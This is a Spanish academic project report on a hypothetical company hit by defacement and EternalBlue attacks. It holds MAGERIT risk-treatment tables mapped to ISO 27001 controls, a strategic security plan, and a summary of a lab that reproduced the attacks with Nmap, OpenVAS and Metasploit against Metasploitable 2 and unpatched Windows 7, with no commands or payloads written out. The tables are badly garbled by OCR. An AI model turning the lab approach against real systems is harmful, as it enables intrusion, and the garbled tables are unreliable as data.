Control Riesgo
Residual

Cifrado de la
informacion

60
Herramienta de
monitorizacion
de trafico 60
Aseguramiento
de la integridad

36

Fuente: El autor
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Pan de tratamiento de riesgos

Tabla 26. Plan de tratamiento de riesgos

Control
Nombre £ . , aplicar o
activo de Amenaza§ . ] g S a partir Desc.rlpc!c?n de la
informaci Metodologia Riesgo 4 = de la aplicacion del
6n Magerit 8 & = norma control
= ISO
27001
Mantenimiento de
. los equipos: Los
aDi?::s:r equipos deberian
[host_] falta de mdantencejrse
?zr(;ndore [11] Fuego rr][antenimie X A11.2.4 ioﬁcel:%b?gsgt:
Dominio ;r(e):ventivo g_aranti.zelwlr su
de aires disponibilidad e
integridad
continuas.
Mantenimiento de
. los equipos: Los
aDi?::s:r equipos deberian
[host_] falta de mantenerse
chgrwdor [11] Fuego rr][antenimie X A11.2.4 igﬁcel:aodb?gsgt:
impresion ;r(e):ventivo g_aranti.zelwlr su
de aires _dlspombllldad e
integridad
continuas.

Fuente: El autor
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Tabla 27. Continuacion

Control
Nombre = aplica.r .
activo de Amenazas’ . g S a partir De§cr||o_c3|on de la
informaci Metodologia Riesgo =~ o = dela aplicacion del
on Magerit 8 < = norma control
@ ISO
® 27001
|_
Todos los
empleados y
usuarios de
terceras partes
deberian devolver
Eliminacion todos los agtivo_s:
de la de la organizacion
[host] [A18] informacion que estén en su
Servidor  Destruccién por X A814 posesion/responsa
de de inconformid 77 bilidad una vez
Archivos  informacion ad de los finalizado el
USUATIoS acuerdo, contrato
de prestacion de
servicios o
actividades
relacionadas con
su contrato de
empleo
Mantenimiento de
- los equipos: Los
[power] aDi?::s:r equipos deberian
de y [M] Fuego  mantenimie X A11.2.4 con el objeto de
prgtequon nto . garantizar su
eléctrica. grevgntlvo disponibilidad e
€ alres integridad
continuas.

Fuente: El autor
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Tabla 28. Continuacion

Control
Nombre £ . , aplicar o
activo de Amenaza§ . 9 g S a partir Desc.rlpc!gn de la
informaci Metodologia Riesgo 4 = de la aplicacién del
6n Magerit ® g = norma control
= ISO
27001
Mantenimiento de
- los equipos: Los
aDi?en:s:r equipos deberian
ocal ot e e
c(j);r;t;o de [I1] Fuego nmtintemmle X A11.2.4 con el _objeto de
preventivo g_arantllzelwlr su
de aires disponibilidad e
integridad
continuas.
Disponibilidad de
instalaciones para
el procesamiento
de la informacion:
Se deberia
[18] Fallo de Indisponibil implementar la
servicios de suficiente
[std] ERP comunicacio SZSV%?CI) X Al7.21 !'edundgncia en las
nes instalaciones de

procesamiento de
la informacion y en
correspondencia
con los requisitos
de disponibilidad.

Fuente: El autor
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Tabla 29. Continuacion

Nombre
activo de
informaci

on

Amenazas
Metodologia
Magerit

Riesgo

Transferir

Aceptar

Control
aplicar
a partir
de la
norma
ISO
27001

Mitigar

Descripcion de la
aplicacion del
control

[18] Fallo de
servicios de
comunicacio
nes

[std]
SalesForc
e

[std][email
_server]
Correo
Electrénic
o]

[18] Fallo de
servicios de
comunicacio

Indisponibili
dad del
servicio

Indisponibili
dad del
servicio

X

X

A17.2.1

A17.2.1

Disponibilidad de
instalaciones para
el procesamiento
de la informacion:
Se deberia
implementar la
suficiente
redundancia en las
instalaciones de
procesamiento de
la informacion y en
correspondencia
con los requisitos
de disponibilidad.
Disponibilidad de
instalaciones para
el procesamiento
de la informacion:
Se deberia
implementar la
suficiente
redundancia en las
instalaciones de
procesamiento de
la informacion y en
correspondencia
con los requisitos
de disponibilidad.

Fuente: El autor

97



Tabla 30. Continuacion

Nombre
activo de Amenaza§
h . Metodologia
informaci .

. Magerit

on
[ipphone]  [E25]
Telefonia Pérdida de
IP equipos
[pc]
Equipos
de
cémputo

[E25]

delos  perdida de
usuarios Lo oo
finales — quip
Desarrollo
de
negocios

Riesgo

Robo de
equipos por
falta de
sistema de
control de
acceso en
oficinas

Robo de
equipos por
falta de
sistema de
control de
acceso en
oficinas de
Desarrollo
de
negocios y
falta de
control de
ingreso de
personal
externo a la
organizacio
n

Transferir

Aceptar

X

Control
aplicar
a partir
de la
norma
ISO
27001

Mitigar

A9.1.1

X A9.11

Descripcion de la
aplicacion del
control

Politica de control
de accesos: Se
deberia
establecer,
documentar y
revisar una politica
de control de
accesos en base a
las necesidades
de seguridad y de
negocio de la
Organizacion.

Politica de control
de accesos: Se
deberia
establecer,
documentar y
revisar una politica
de control de
accesos en base a
las necesidades
de seguridad y de
negocio de la
Organizacion.

Fuente: El autor
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Tabla 31. Continuacion

Control
Nombre £ . , aplicar
activo de Amenazas @ & « apartir Descripcion de la
. . Metodologia Riesgo o 2 2 dela aplicacion del
informaci . S o =
. Magerit ® g = norma control
on = ISO
27001
Robo de
equipos por Politica de control
falta de de accesos: Se
[pc] sistema de deberia
Equipos control de establecer,
de acceso en documentar y
- [E25] e : "
computo - oficinas de revisar una politica
Pérdida de X A9.1.1
de los 6QUIDOS Tl y falta de de control de
usuarios quip control de accesos en base a
finales — ingreso de las necesidades
Tl personal de seguridad y de
externo a la negocio de la
organizacio Organizacion.
n
Robo de
©quipos por Politica de control
falta de )
. de accesos: Se
[pc] sistema de deberia
Equipos control de tabl
de acceso en SS a ecetr,
cémputo [E25] oficinas de r:vciggnreunngrp);ﬁtica
de Ios_ Perghda de  Administrati X A9.1.1 de control de
usuarios  equipos vo y falta
finales — de control accesos en base a
e . las necesidades
Administra de ingreso :
tivo de personal de segundad y de
negocio de la
externo a la R
L Organizacion.
organizacio
n

Fuente: El autor
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Tabla 32. Continuacion

Control
= aplicar
ar‘tl:ir:ob;ee Amenaza§ . :cT_J g g a partir Descripc!c?n de la
informaci Metodolqgla Riesgo 4 = de la aplicacion del
6n Magerit E < = horma control
ISO
27001
[E21] )
Errores de Mal Sden?i?\ti)se’i:;ny
[firewall] mantenimien funcionami controlar las redes
Fortigate to/ ento por X A13.1.1 para proteger la
actualizacion falta de B -
60D de licencia de |qf?rma0|on en
sistemas
brogramas - uso aplicacionyes.
(software)
Mal
funcionami
ento por
faltas de Se deberian
_ [E4] Errores regla_s de_, administrar y
[firewall] de autorizacio controlar las redes
Fortigate configuracio ny X A13.1.1 para proteger la
100 E " denegacion informacion en
de sistemas y
transmision aplicaciones.
y
comunicaci
on
Mal
funcionami
[EQ] Errores ento por
E’\(I)artri),]AP de [re- _ . falta de X
244 Jencaminami documenta
ento cion de la
segmentaci
on de la red

Fuente: El autor
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Tabla 33. Continuacion

Control
=L aplicar
ah(l:?ir\:\ob;ee Amenaza§ . :cT_J g g a partir Descripc!c?n de la
informaci Metodolqgla Riesgo 4 = de la aplicacién del
6n Magerit ® g = norma control
= ISO
27001
Mal Se deberian
[E20] funcionami administrar y
[firewall]  Vulnerabilida ento por controlar las redes
Fortigate des de los falta de X A13.1.1 para proteger la
80E programas ..o 4e informacion en
(software) USO sistemas y
aplicaciones.
Mal
funcionami
[switch] [EQ] Errores ento por
Cisco de [re- falta de
: . X
catalyst Jencaminami documenta
9300 ento cion de la
segmentaci
on de la red
Fuga de
delos Se deberfan
funcionario identificar,
s por falta _documentar e
. de |mpl?nt§r
[ui] . . requerimien regulaciones para
Operador dDévngauon tos de X A8.1.3 gleulzoina:‘g?rz:i?éon y
es NOC informacion zzglgrll_deayd los activos
1581 de asociados a
2012 de recursos de
proteccion _tratamler)’fo de la
de datos informacion
personales

Fuente: El autor
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Tabla 34. Continuacion

Control
Nombre =  aplicar o
activo de Amenazas g 8 S a partir Descripcion de la
. . Metodologia Riesgo o =2 dela aplicacion del
informaci . S o =
6n Magerit ® g = norma control
= ISO
27001
Se deberia
Mal proveer a los
funcionami usuarios de los
[std] [E3] Errores ento por accesos a redes y
PRTG de controles los servicios de
e, X A9.1.2
Network  monitorizaciéo de red para los que
Monitor n (log) navegacion han sido
insuficiente expresamente
S autorizados a
utilizar
Alteracién
[A15] de la
Contratos Modificaciéon informacién
de deliberada por X
servicio de la inconformid
informacion  ad de los
empleados

Fuente: El autor
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9. PLAN ESTRATEGICO DE SEGURIDAD DE LA
INFORMACION

9.1 SITUACION ACTUAL

La entidad hipotética cuenta con tres dependencias, Desarrollo de Negocios, T.l y
Administrativo, las cuales se dividen en los diferentes departamentos encargados
de realizar las diferentes actividades para el funcionamiento de la organizacién. A
continuacion, se presenta el organigrama actual de la entidad hipotética.

Figura 75 Organigrama actual de la organizacion

Gerencia
General
[ 1 |
Desarrollo de - -
L em—

Fuente: El autor

Adicionalmente, en la entidad hipotética se presentan las siguientes situaciones, las
cuales ponen en riesgo la confidencialidad, disponibilidad e integridad de los activos
de informacién de la entidad hipotética:

¢ La entidad no cuenta con un Sistema de Gestion de Seguridad de la
informacion.

e El centro de datos es el unico que cuenta con acceso con tarjeta de proximidad.
El centro de datos cuenta con 2 aires acondicionados mini Split de 1200 BTU y
se les hace mantenimiento preventivo 1 vez al afo.

e Enlos ultimos 2 afios se han generado pérdida de datos debido a empleados
inconformes.

e La segmentacion de la RED no se ha documentado por lo cual cada vez que
hay un inconveniente se debe invertir mucho tiempo en su resolucion.
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e Elingreso de personal externo a la organizacién no se controla de manera
adecuada.

e Los equipos Fortigate internos de la compafia no tienen reglas definidas ni
licencia de uso.

e La organizacion cuenta con un canal dedicado de internet de 10 MB.

¢ Los computadores portatiles no cuentan con cifrado en disco duro.

e La organizacion no cumple con los requerimientos de seguridad de la Ley 1581
de 2012 de proteccion de datos personales.

e Los controles de navegacion son insuficientes para las necesidades de la
organizacion.

9.2 CAMBIO ORGANIZACIONAL

Previo al disefio del plan estratégico de seguridad de la informacion en la entidad
hipotética, se debe realizar la contratacion de un consultor externo de Seguridad de
la Informacion que apoye y guie a la empresa en el aseguramiento de los activos
de informacion. Luego de la contratacion del consultor externo de Seguridad de la
Informacion se propone reorganizar la estructura organizacional de la siguiente
forma:

Agregar al consultor de Seguridad de la Informacién como apoyo al areade T.l y el
comité de Seguridad de la Informacion como dependiente del consultor para la
correcta implementacion y mantenimiento del Sistema de Gestion de Seguridad de
la Informacion. Es relevante que el consultor y el comité se encuentren dentro de la
estructura organizacional para que la empresa tome conciencia de la importancia
de la Seguridad de la Informacion en el funcionamiento de esta, con el fin de cumplir
con los objetivos estratégicos propuestos por la alta direccion.

La siguiente imagen ilustra la estructura organizacional propuesta para la entidad
hipotética, donde se evidencia la adicidén del consultor y la conformacion del comité
de seguridad de la informacion.
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Figura 76 Organigrama propuesto de la organizacion

Gerencia
General

Desarrollo de
negocios

Administrativo

externo de -
Seguridad de la Contabilidad

Informacion

omite de
Seguridad de la
Informacién
1 1
; Seguridad o

Fuente: El autor

9.3 REESTRUCTURACION DEL COMITE DE SEGURIDAD DE LA
INFORMACION

El comité de Seguridad de la Informacién existente en la empresa hipotética no
cuenta con la visibilidad necesaria dentro de la organizacibn y no se esta
cumpliendo la realizacion de las sesiones periddicas de acuerdo con lo planeado.
Debido a esto se propone realizar una reestructuracion del comité involucrando a
directivos de otras areas de la organizacién y definiendo la periodicidad de las
sesiones, con el fin de garantizar el cumplimiento del plan estratégico trazado por la
alta direccion.

A continuacion, se establecen los participantes del comité, sus funciones dentro del
comité, las responsabilidades del comité, las funciones que debe llevar a cabo el
consultor de Seguridad de la Informacién dentro del comité y la periodicidad de las
sesiones ordinarias y extraordinarias.
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Tabla 35. Miembros del comité de Seguridad de la Informacion y sus funciones

INTEGRANTES

FUNCIONES

Director de Tl

Director de Desarrollo
de Negocios

Director
Administrativo

Tomar decisiones acerca de las acciones
planteadas por el comité en cuanto a los proyectos
de seguridad de la informacion.

Concientizar a los miembros del area de Tl acerca
de las decisiones tomadas en el comité.

Disponer de los recursos tecnolégicos para la
implementacion del Sistema de Gestion de
Seguridad de la informacion.

Tomar decisiones acerca de las acciones
planteadas por el comité en cuanto a los proyectos
de seguridad de la informacion.

Concientizar a los miembros del area de Tl acerca
de las decisiones tomadas en el comité.

Validar la documentacion del Sistema de Gestion de
Seguridad de la Informacion con los duefios de los
procesos en el area de Desarrollo de negocios
Tomar decisiones acerca de las acciones
planteadas por el comité en cuanto a los proyectos
de seguridad de la informacion.

Concientizar a los miembros del area de Tl acerca
de las decisiones tomadas en el comité.

Validar la documentacion del Sistema de Gestion de
Seguridad de la Informacion con los duefios de los
procesos en el area de Desarrollo de negocios

Fuente: El autor
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Tabla 36. Continuacion

INTEGRANTES

FUNCIONES

Consultor Externo de
Seguridad
Informatica

Oficial de Seguridad
de la Informacion

Secretaria Técnica

Dar continuidad a la gestion de la estrategia de
seguridad de la informacion para continuar
apoyando al responsable de ciber seguridad una
vez sea contratado.

Mantener la alineacion de los objetivos de seguridad
de la informacion con los objetivos del area,
desarrollando el plan estratégico de seguridad
PESI.

Continuar desarrollando la cultura organizacional en
seguridad de la informacion y proteccion de datos
personales.

Mantener el cumplimiento regulatorio relacionado
con la seguridad y privacidad de la informacion.
Evaluar el nivel de seguridad y de exposicion de
activos a través de analisis de riesgos,
vulnerabilidades, pruebas de intrusion y de
ingenieria social, ademas de apoyar la remediacion
de las vulnerabilidades y brechas encontradas a
través de esas actividades.

Establecer, implementar y mantener el Sistema de
Gestidon de Seguridad de la Informacion

Realizar el analisis de riesgos de seguridad de la
informacion.

Definir del plan de tratamiento de los riesgos.
Ejecutar el plan de tratamiento de los riesgos
Establecer, mantener y divulgar las politicas,
procedimientos y formatos del SGSI.

Informar al comité de Seguridad de la Informacién
acerca de incidentes que pongan en riesgo la
implementacion del SGSI

Realizar las actas de las reuniones del Comité
Convocar a los miembros del Comité a las sesiones
ordinarias o extraordinarias

Agendar las sesiones oportunamente en el
calendario a los del comité.

Monitorear compromisos y tareas pendientes del
Comité.

Fuente: El autor
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Responsabilidades del Comité de Seguridad de la Informacién:

e Impulsar la implementacion del Sistema de Gestion de Seguridad de la
Informacion al interior de la organizacion.

e Establecer el estado actual de la seguridad de la informacion en la entidad
hipotética

e Realizar el acompafamiento e impulsar proyectos de seguridad de la

informacion dentro de la organizacion.

Participar en el proceso de identificacidn, evaluacion y tratamiento de riesgos.

Definir los niveles de riesgos aceptables.

Aprobar el plan de tratamiento de riesgos de Seguridad de la Informacion.

Realizar revisiones periodicas del SGSI, la cual se llevara a cabo anualmente, y

segun los resultados de esta revision definir las acciones pertinentes.

e Promover la difusion y sensibilizacion de la seguridad de la informacion dentro
de la organizacion.

Reuniones del comité de Seguridad de la Informacion:

e Ordinaria: El comité de Seguridad de la Informacién debera llevar a cabo
reuniones ordinarias una vez cada 6 meses.

e Extraordinaria: El comité de Seguridad de la informacion se reunira de forma
extraordinaria cuando el director de Tl lo requiera y siempre que se presenten
incidentes de seguridad o haya nuevas necesidades de seguridad.

9.4 IMPORTANCIA DEL PLAN ESTRATEGICO DE SEGURIDAD DE LA
INFORMACION

El plan estratégico de seguridad de la informacién (PESI) tiene como objetivo definir
los proyectos que se llevaran a cabo dentro de la organizacion que permitan
proteger sus activos de informacién. Es importante crear un PESI en la entidad
hipotética debido a que se encuentra en proceso de crecimiento y expansion de sus
servicios para grandes compafias en el pais, por lo que se hace necesario mejorar
la seguridad en todos los aspectos relacionados con la prestacion de sus servicios.

Teniendo en cuenta el estado actual de la compafiia, se hace indispensable realizar
la planeacién de los proyectos que se deben llevar a cabo dentro de la organizacion
para garantizar la integridad, confidencialidad y disponibilidad de los activos de
informacion, lo que conllevara a ofrecer un mejor servicio a sus clientes,
garantizando la calidad de estos.
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9.5 OBJETIVOS Y ALCANCE DEL PLAN ESTRATEGICO DE SEGURIDAD DE
LA INFORMACION

Objetivo General

Establecer la estrategia de Seguridad de la Informacién en la entidad hipotética,
guiada por el departamento de TIl, que permita garantizar la integridad,
confidencialidad y disponibilidad de los activos de informacién, con vigencia a partir
del 2019 hasta el 2023.

Objetivos Especificos

e Implementar y mantener el Sistema de Gestion de la Seguridad de la
Informacion.

e Desarrollar la cultura organizacional en seguridad de la informacién y proteccion
de datos personales

e Cumplir las regulaciones relacionadas con la seguridad y privacidad de la
informacion

o Utilizar eficientemente los recursos de Tl para asegurar la continuidad de la

prestacion de los servicios

Implantar la estrategia de Seguridad de la informacion

Alcance

El alcance del plan estratégico de Seguridad de la Informacién se aplica a los
servicios de configuracion e instalacion de dispositivos de red y gestion de servicios
telematicos ofrecidos por la entidad hipotética.

9.6 DEFINCION DE PROYECTOS DE SEGURIDAD

Una vez analizado el estado actual de la compainiia por parte de la Direccion de T.I.
y de acuerdo con el analisis y evaluacion de los riesgos se determind que debido al
gran crecimiento en 2019 y alineado con los servicios que se prestan, es necesario
para poder mantener la linea de crecimiento priorizar sobre los siguientes proyectos:

109



Tabla 37. Proyectos de seguridad

Nombre del Proyecto Tiempo de Ejecucién Plazo
Sistema de Gestidon de 12 meses Mediano
Seguridad de la
Informacién (SGSI).
Seguridad Perimetral 6 meses Corto
Fuente: El autor

9.6.1 Sistema de Gestion de Seguridad de la Informacién De acuerdo con
las oportunidades de mejora encontradas en la entidad hipotética, el objetivo
principal es garantizar los aspectos relevantes de la seguridad de la informacion, es
decir su disponibilidad, integridad y confidencialidad.

La proteccién de informacidon sensible es esencial para mantener los niveles de
competitividad, rentabilidad e imagen empresarial, siempre necesarios en la
busqueda de lograr los objetivos organizacionales y asegurar de la misma forma
beneficios econdmicos que permitan el crecimiento.

Para el disefio del SGSI es necesario tener en cuenta los siguientes aspectos:
Compromiso y apoyo de la direccion, esto debe ser traducido en

Establecimiento de una politica de seguridad de la informacion.

Establecer objetivos y planes del SGSI.

Establecimiento de roles y responsabilidades de la seguridad de la informacién.
La organizacion debe estar al tanto de la importancia del logro de los objetivos
de la seguridad de la informacién, del cumplimiento de las politicas,
responsabilidades legales y la necesidad de mejora continua.

e Asignacion de recursos suficientes al SGSI.

e Plantear cuales seran los criterios para la aceptacion de los riesgos.

Definicién del alcance
Concientizacién y formacién del personal

e Se debe determinar cuales seran las competencias del personal que ayudara en
el disefio e implementacion del SGSI.

e Realizar contratacién de asesores en caso de ser necesitado.

e Garantizar que todo el personal involucrado en el proceso esté concientizado de
la importancia de las actividades asignadas con respecto a la seguridad de la
informacion y de cdmo estas ayudan a la consecucion de los objetivos del SGSI

Realizar una evaluacioén de riesgos acorde con la organizacion.
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Asumir compromisos de mejora por parte de la direccion,

e Revision del SGSI de manera periddica con el fin de asegurar que aun es
adecuado y eficaz.

Establecer normas y politicas.

Realizar una gestion adecuada de la continuidad del negocio, incidentes de
seguridad y el cumplimiento legal.

Integrar el SGSI a la organizacion.
Factores de Exito

e El primer objetivo por conseguir es la concientizacion del trabajador acerca de la
importancia de la seguridad de la informacion.

e Reuniones periddicas para la gestion continua del SGSI.

e Crear un sistema de gestidn de incidencias que permita recoger incidencias
reportadas por los usuarios de manera continua.

e Se debe tener en cuenta que ningun sistema es 100% seguro, sin embargo, es
posible llevar el riesgo a niveles que puedan ser asumidos.

e La seguridad no debe ser vista como un producto sino como un proceso.

e La seguridad no debe ser vista como un proyecto sino como una actividad que
debe ser realizada de manera continua, para lo cual se requiere el apoyo de la
organizacion para poder tener éxito.

e Laseguridad siempre debe hacer parte de los procesos de informacién y alineada
al negocio.

9.6.2 Seguridad Perimetral: La seguridad perimetral debe ir alineada a una
politica de cumplimiento de controles basado en una norma aplicada a la seguridad
de la informacion, en este caso la ISO/IEC 27001 la cual va dirigida a procesos,
activos y riesgos, todos ellos pertenecientes al area de T.I.

Se debe definir un esquema de seguridad que permita garantizar que las personas
solo tengan acceso a sistemas y servicios autorizados de acuerdo con su perfil, asi
mismo este esquema debe permitir la mitigacion de riesgos asociados con las
conexiones con redes publicas, internas o de proveedores de servicio.

La seguridad perimetral debe comprender los siguientes aspectos:

Gestion de acceso e identidad.

Seguridad en el puesto de trabajo.

Seguridad en aplicaciones y datos.

Seguridad en los sistemas donde se aloja la informacion.
Seguridad en las redes.
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10. CONCLUSIONES

A partir de la recreacion de las configuraciones y topologia de red pertenecientes a
la empresa hipotética en su sede en Bogota y evidenciar las vulnerabilidades que
albergaban los sistemas de informacion, se puede concluir a partir de los hallazgos,
la importancia de la seguridad informatica, y como con la realizacién de buenas
practicas se pueden disminuir los riesgos ante amenazas cibernéticas.

Es importante tener siempre presente la informacion como activo fundamental de
todas las compafiias, por ello al momento de pensar en la implementacion de
sistemas de seguridad, se debe realizar un analisis previo de gestion de riesgo,
alineado con el plan estratégico de la seguridad que permita identificar cuales son
los riesgos asociados a los sistemas de informacion de la organizacion y como
mitigarlos.

Asi mismo, para lograr el éxito en la implementacién de un plan de gestion de
seguridad informatica, es necesario apoyarse en estandares internacionales como
guia, que ayuden con la elaboracion de un plan de accion, al igual que en
metodologias como Magerit las cuales ayudan a comprender como mitigar un riesgo
a partir de la posibilidad de que este suceda.
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11.RECOMENDACIONES

Dada la importancia de los activos de informacién en una organizacion, resulta
indispensable la implementacion de un plan estratégico de la seguridad de la
informacion (PESI), de acuerdo con el analisis llevado a cabo y los hallazgos
encontrados en el desarrollo de este proyecto se realizan las siguientes
recomendaciones:

La informacién es el activo mas importante de la empresa, por tal motivo, siempre
debe existir un plan estratégico de la seguridad de la informacion, previo a la
implementacion de este, se debe realizar un analisis de los riesgos asociados a los
sistemas de informacién, de tal manera que se cobije en caso de ocurrencia su
mitigacion.

La elaboracion del plan estratégico de la seguridad de la informacion debe estar
soportado por estandares y normas internacionales que ayuden a garantizar el éxito
de este, como por ejemplo la ISO 27002.

En necesario un monitoreo constante de los controles establecidos sobre los
sistemas de informacién, para ello se sugiere la planificacion de auditorias de
manera periodica que ayuden a garantizar la eficacia de estos.
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6. RESUMEN

El servidor web de una entidad hipotética ha sido victima de ataques Defacement
y Eternal Blue por parte de Black Hackers, en las sedes ubicadas en las ciudades
de Bogota y Cali respectivamente. Dado esto y al proceso de expansion que
inician en el presente afno, la alta direccion ha decidido contratar a un experto en
seguridad informatica con el fin de realizar las pruebas de vulnerabilidad que
ayuden a descifrar el método de intrusion utilizado, y cada uno de los pasos que
siguieron para lograrlo. Para ello se utilizaran herramientas de analisis de
seguridad como los Nmap, Metasploit y OpenVas encontradas en la distribucion
Kali Linux. Al final del analisis se entregara un informe detallado del procedimiento
llevado a cabo y de un Plan Estratégico de Seguridad de la Informacién a
implementar en la organizacion con el fin de solventar los problemas de seguridad
en los sistemas de informacién y prevenir problemas futuros, con el fin de
garantizar la seguridad en la prestacion de los servicios a sus clientes.

7. PALABRAS CLAVES

Vulnerabilidad, riesgos, seguridad, Plan Estratégico, amenazas, normativas,
ataques, ambiente de pruebas, PESI.

8. CONTENIDO
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Este proyecto se basa en una empresa hipotética la cual presenta problemas de
seguridad en sus sistemas de informacién. Para dar solucidén, se realiza la
contratacion de personal capacitado los cuales se encargaran de dictaminar las
posibles causas de lo ocurrido. Como primera medida se realiza un analisis de
vulnerabilidades recreando la situacion presentada sobre un ambiente controlado
y con la ayuda de herramientas de software obtener las conclusiones que
permitan realizar las correcciones que se consideren pertinentes.

Posteriormente se realiza el analisis de la gestion de riesgos basado en la
metodologia Magerit para posteriormente disenar el plan estratégico de seguridad
de la informacion PESI, en donde se incluyen los proyectos de seguridad de la
informacion que permitan reducir al maximo posible el riesgo de que se vuelvan a
presentar situaciones similares.

9. DESCRICION DEL PROBLEMA DE INVESTIGACION

Una organizacion hipotética ha sido victima de ataques informaticos por parte de
black hackers, los cuales utilizaron ataques de Defacement y Eternal Blue. Estos
ataques afectaron el funcionamiento del servidor web de la ciudad de Bogota y el
servidor de la ciudad de Cali, viéndose comprometida la confidencialidad de las
contrasefnas y de la informacion de los usuarios almacenada en la base de datos.
Adicionalmente, dado al proceso de expansidn que inicia este ano, la alta
direccién se encuentra preocupada por la seguridad de la informacion y de los
sistemas que maneja la organizacion y teme que no se entregue un servicio de
calidad a sus clientes.

10.OBJETIVO GENERAL

Disefar un plan estratégico de Seguridad de la Informacion en una organizacion
que permita la aplicacion de controles y politicas que garanticen la correccidn de
vulnerabilidades detectadas a través de diferentes herramientas de seguridad y
prevencion de diferentes ataques como Defacement y Eternal Blue.

11.OBJETIVOS ESPECIFICOS

+ Configurar un ambiente de pruebas para el analisis de vulnerabilidad y ejecucion
de ataques Defacement y Eternal Blue

* Ejecutar los ataques Defacement y Eternal Blue en un ambiente controlado de
pruebas.

» Realizar el analisis de gestion de riesgos como parte del plan estratégico de
Seguridad de la Informacién.

« Sugerir a partir de los objetivos de la organizacion, el disefio de un Plan
Estratégico de la Seguridad de la Informacion basado en metodologias de la
gestion de riesgos informaticos.

12.METODOLOGIA
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Para la realizacion del primer ataque, Defacement, se realiza la instalacion y
configuracion de una maquina virtual en VirtualBox con sistema operativo
Metasploitable 2, el cual simulara ser el sistema atacado de la registraduria. Esta
magquina virtual se configura en una red NAT.

Posteriormente, se realiza la instalacion y configuracion de una maquina virtual
en VirtualBox con el sistema operativo Kali Linux, desde la cual se lleva a cabo el
ataque al sistema Metasploitable 2. Esta maquina virtual se configura en una red
NAT. Durante la preparacion del entorno, primero se realiza la actualizacion de
Kali Linux.

Para escanear las vulnerabilidades del sistema Metasploitable, se utilizan las
herramientas Nmap que viene instalada en el sistema operativo Kali Linux y
OpenVas, la cual se debe instalar para realizar el escaneo.

Una de las vulnerabilidades en el sistema Metasploitable, es a un ataque cgi. Se
utiliza el Metasploit Framework para encontrar y utilizar un exploit que permita
materializar la vulnerabilidad encontrada.

Para realizar el segundo ataque, Eternal Blue, se realiza la instalacion sobre una
maquina virtual en el programa Virtual Box del sistema operativo Windows 7, este
no cuenta con las ultimas actualizaciones lo cual es un caso muy comun, ademas
de que el firewall no cuenta con la configuracion correcta. Esta maquina también
se configura en una red NAT.

Se realiza un escaneo de las vulnerabilidades del sistema con Windows 7 y
posteriormente se procede a utilizar el Metasploit Framework para encontrar y
utilizar un exploit que permita explotar la vulnerabilidad en el servicio SMB.

Durante la realizacion de cada una de las actividades anteriores, se realizan
consultas en internet para conocer los comandos a utilizar. Adicionalmente,
Durante el desarrollo de los analisis se registrara el paso a paso de los
procedimientos realizados con registros de capturas de pantalla utilizando los
lineamientos establecidos por la norma NTC 1486.

El tipo de investigacion a utilizar es aplicado, dado que se busca dar respuesta a
interrogantes puntuales acerca de un problema conocido. Las técnicas de
recoleccion de datos que se utilizaran en el proyecto son la observacion y
entrevistas.

13.PRINCIPALES REFERENTES TEORICOS Y CONCEPTUALES
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Se realizo la consulta de varias referencias teoricas y conceptuales, y se enfoca
en el analisis de las vulnerabilidades, realizacion de los ataques, analisis de
riesgos de acuerdo con la metodologia MAGERIT.

14.RESULTADOS

Como resultado de la implementacion del proyecto se elaboraron los siguientes
productos y/o entregables:

Maquinas Virtuales con ambientes de Prueba.
Analisis de riesgos.

Plan de Tratamiento de riesgos.

e Plan Estratégico de la Seguridad de la Informacion.

15.CONCLUSIONES

A partir de la recreacion de las configuraciones y topologia de red pertenecientes
a la empresa hipotética en su sede en Bogota y evidenciar las vulnerabilidades
que albergaban los sistemas de informacion, se puede concluir a partir de los
hallazgos, la importancia de la seguridad informatica, y como con la realizacion
de buenas practicas se pueden disminuir los riesgos ante amenazas cibernéticas.

Es importante tener siempre presente la informacion como activo fundamental de
todas las compaiiias, por ello al momento de pensar en la implementacion de
sistemas de seguridad, se debe realizar un analisis previo de gestidon de riesgo,
alineado con el plan estratégico de la seguridad que permita identificar cuales son
los riesgos asociados a los sistemas de informacion de la organizacion y como
mitigarlos.

Asi mismo, para lograr el éxito en la implementacion de un plan de gestion de
seguridad informatica, es necesario apoyarse en estandares internacionales
como guia, que ayuden con la elaboracién de un plan de accion, al igual que en
metodologias como Magerit las cuales ayudan a comprender como mitigar un
riesgo a partir de la posibilidad de que este suceda.
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